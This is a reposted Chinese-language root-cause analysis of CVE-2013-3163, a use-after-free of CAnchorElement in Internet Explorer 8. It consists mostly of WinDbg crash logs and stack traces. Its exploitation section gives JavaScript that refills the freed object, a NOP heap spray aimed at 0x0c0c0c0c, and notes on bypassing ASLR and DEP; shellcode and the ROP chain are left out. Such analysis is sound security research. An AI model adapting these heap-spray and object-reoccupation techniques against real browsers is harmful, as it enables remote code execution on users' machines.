转自http://www.cnblogs.com/wal613/p/3887719.html
1. 实验环境
操作系统:Win7 SP1
浏览器版本:IE8(补丁到KB2838727)
漏洞编号:CVE-2013-3163
2. 漏洞分析
2.1. 分析Crash
2.1.1. 运行poc,查看crash
(e18.50c): Access violation - code c0000005 (!!! second chance !!!) eax=00000000 ebx=0033aa48 ecx=002d9838 edx=6b8cc29d esi=0361a950 edi=00000000 eip=6b8cc2d4 esp=0361a924 ebp=0361a93c iopl=0 nv up ei pl zr na pe nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010246 mshtml!CElement::Doc+0x7: 6b8cc2d4 8b400c mov eax,dword ptr [eax+0Ch] ds:0023:0000000c=???????? |
这里可以看到Crash原因是在 move ax,dword ptr [eax+0Ch] 处引用了无效的内存空间。查看Crash处的上下文信息。
0:005> uf mshtml!CElement::Doc mshtml!CElement::Doc: 6b8cc2cd 8b01 mov eax,dword ptr [ecx] 6b8cc2cf 8b5070 mov edx,dword ptr [eax+70h] 6b8cc2d2 ffd2 call edx 6b8cc2d4 8b400c mov eax,dword ptr [eax+0Ch] 6b8cc2d7 c3 ret |
我们都知道在IE8下,ecx中一般都保存着对象UserPtr的地址,而其偏移+0h处保存的是其虚函数表地址,而这里调用其虚函数表偏移+70h处的函数。我们来看看ecx中存取的是首先来看看ecx具体是什么对象。
0:005> !heap -p -a ecx address 0750af98 found in _DPH_HEAP_ROOT @ 12c1000 in free-ed allocation ( DPH_HEAP_BLOCK: VirtAddr VirtSize) 6f53b94: 750a000 2000 6e8690b2 verifier!AVrfDebugPageHeapFree+0x000000c2 777165f4 ntdll!RtlDebugFreeHeap+0x0000002f 776da0aa ntdll!RtlpFreeHeap+0x0000005d 776a65a6 ntdll!RtlFreeHeap+0x00000142 7742bbe4 kernel32!HeapFree+0x00000014 6a197ddb mshtml!CAnchorElement::`vector deleting destructor‘+0x00000028 6a132a5f mshtml!CBase::SubRelease+0x00000022 6a1900f1 mshtml!CElement::PrivateExitTree+0x00000011 6a086cdc mshtml!CMarkup::SpliceTreeInternal+0x00000083 6a086b38 mshtml!CDoc::CutCopyMove+0x000000ca 6a087177 mshtml!CDoc::Remove+0x00000018 6a087155 mshtml!RemoveWithBreakOnEmpty+0x0000003a 69f9b65a mshtml!CElement::InjectInternal+0x0000032a 6a089443 mshtml!CElement::InjectCompatBSTR+0x00000046 |
这里我们可以看到ecx中存的CAnchorElement对象,而这个对象已经释放了,而此时在CElement::Doc中又调用了该对象来获取CDoc对象,可以看到这是一个典型的UAF类型漏洞。下面我们来查看栈回溯信息,看看这CAnchorElement对象是如何传递的。
可以看到这里CAnchorElement对象是在CTreeNode::ComputeFormats函数中调用了CElement::Doc时传递进来的,此时,我们再来分析一下CTreeNode::ComputeFormats,来到call CElement::Doc的位置,如下图所示。
这里我们可以看到,ecx来自[ebx],我们继续来跟踪ebx,发现ebx来自CTreeNode::ComputeFormats函数的第一个参数,如下图所示。
我们继续来跟踪CTreeNode::ComputeFormats函数第一个参数,分析CTreeNode::ComputeFormatsHelper,我们可以看到压入是esi,而esi是由ecx赋值来的,可以知道这里的ecx指向的是CTreeNode对象,如下图所示。
我们都知道IE构建的DOM树是通过CTreeNode来组建的,CTreeNode偏移+0h处是指向CElement对象的指针,CTreeNode偏移+4h处指向其父节点,接下来是一些flag信息,之后是CTreePosBegin以及CTreePosEnd两个结构,而在+40处是该CTreeNode的引用计数。这里我们看看这个已经被释放了的CAnchorElement对象在哪儿还保存着这个节点信息。
我们进一步来分析ISpanQualifier::GetFancyFormat函数,如上图所示,在这里我们可以看到ecx来自esi,而esi来自eax,我们进一步分析SRunPointer::IsRelativeSpanEdge函数。
在上图中,我们可以看到它在调用ISpanQualifier::GetFancyFormat函数之前调用了SRunPointer::SpanQualifier后函数,然后将其返回值eax传递给ISpanQualifier::GetFancyFormat,由此我们可以看到是由于SRunPointer::SpanQualifier函数仍然保存着这个已经被释放了的对象,而在CElement::Doc中又调用了该对象,从而造成了该UAF漏洞。
2.2. 跟踪对象的申请和释放过程
通过上面的分析已经知道这个漏洞是由于CAnchorElement对象的UAF,接下来对CAnchorElement进行追踪,分别对CAnchorElement对象的CreateElement方法和`vector deleting destructor’方法下断点,运行程序,如下所示。
我们查看创建CAnchorElement对象时的栈回溯信息,从这里可以看到,CAnchorElement对象是在解析html的时候创建,如下图所示。
1:022> kv mshtml!CAnchorElement::CreateElement+0x19 mshtml!CreateElement+0x43 mshtml!CHtmParse::ParseBeginTag+0xe3 mshtml!CHtmParse::ParseToken+0xd4 mshtml!CHtmPost::ProcessTokens+0x23d mshtml!CHtmPost::Exec+0x221 mshtml!CHtmPost::Run+0x15 mshtml!PostManExecute+0x1fb mshtml!PostManResume+0xf7 mshtml!CHtmPost::OnDwnChanCallback+0x10 mshtml!CDwnChan::OnMethodCall+0x19 mshtml!GlobalWndOnMethodCall+0xff mshtml!GlobalWndProc+0x10c USER32!InternalCallWinProc+0x23 USER32!UserCallWinProcCheckWow+0x14b (FPO: [Non-Fpo]) USER32!DispatchMessageWorker+0x35e (FPO: [Non-Fpo]) USER32!DispatchMessageW+0xf (FPO: [Non-Fpo]) IEFRAME!CTabWindow::_TabWindowThreadProc+0x54b (FPO: [Non-Fpo]) IEFRAME!LCIETab_ThreadProc+0x2c1 (FPO: [Non-Fpo]) iertutil!CIsoScope::RegisterThread+0xab (FPO: [Non-Fpo]) kernel32!BaseThreadInitThunk+0xe (FPO: [Non-Fpo]) ntdll!__RtlUserThreadStart+0x70 (FPO: [Non-Fpo]) ntdll!_RtlUserThreadStart+0x1b (FPO: [Non-Fpo]) |
我们继续运行,此时断在了CAnchorElement对象的释放,如下图所示。从这里我们可以看到,执行的js中x.outerText=””处的代码,而CAnchorElement对象也在这个outerText中,所以其已被释放。
1:022> kv mshtml!CAnchorElement::`scalar deleting destructor‘ mshtml!CBase::SubRelease+0x22 (FPO: [0,0,0]) mshtml!CBase::PrivateRelease+0x3c mshtml!CElement::PrivateExitTree+0x11 (FPO: [0,0,1]) mshtml!CSpliceTreeEngine::RemoveSplice+0x92b mshtml!CMarkup::SpliceTreeInternal+0x83 mshtml!CDoc::CutCopyMove+0xca mshtml!CDoc::Remove+0x18 mshtml!RemoveWithBreakOnEmpty+0x3a mshtml!CElement::InjectInternal+0x32a mshtml!CElement::InjectCompatBSTR+0x46 mshtml!CElement::put_outerText+0x25 <-执行x.outerText=”” mshtml!GS_PropEnum+0x1ac |
这里我们来看看CAnchorElement对象的信息,如下图所示,可以看到该对象的大小是0x68。
3. 漏洞利用
首先是占位的问题,在CAnchorElement对象被释放后,我们立即创建一个button,然后让其className赋值一个大小等同于释放掉对象大小的字符串,如下图所示。
var data= unescape("%u0c0c%u0c0c"); var objArray; while(data.length<(0x68-6)/2)data+=unescape("%u0c0c%u0c0c"); …… objArray = document.createElement(‘button‘); objArray.className = data; |
此时,我们可以看到,已经占位成功,如下图所示。
接下来我们可以通过heap spray的方法来布局shellcode,如下图所示。
var q = unescape("%u9090%u9090"); var p = new Array(); while(q.length<0x100000) q+=q; …… for (var i = 0; i <50;i++) { p[i] = document.createElement(‘button‘); p[i].className = q.substring(0,0x100000); } |
此时,我们可以看到,已经在0x0c0c0c0c处成功的放置了shellcode,如下图所示。
而绕过ASLR,我们可以利用Java 6运行环境JRE1.6的msvcr71.dll(或其他non-ASLR模块)来绕过ASLR。也可以配合其他漏洞,获取模块基址及shellcode的地址来绕过ASLR。最终构造ROP绕过DEP,实现远程代码执行,这里就不再详述。
4. 总结
UAF漏洞的成因一般都是因为在编程过程中对引用计数的处理不当导致对象被释放后重用的,分析他们的流程基本是一致的。而UAF这类漏洞的利用,首先需要Bypass ASLR,获得模块基址及shellcode的地址(也可以通过堆喷射在指定内存空间布置shellcode),然后硬编码、动态构造ROP来Bypass DEP,最终实现任意代码的执行。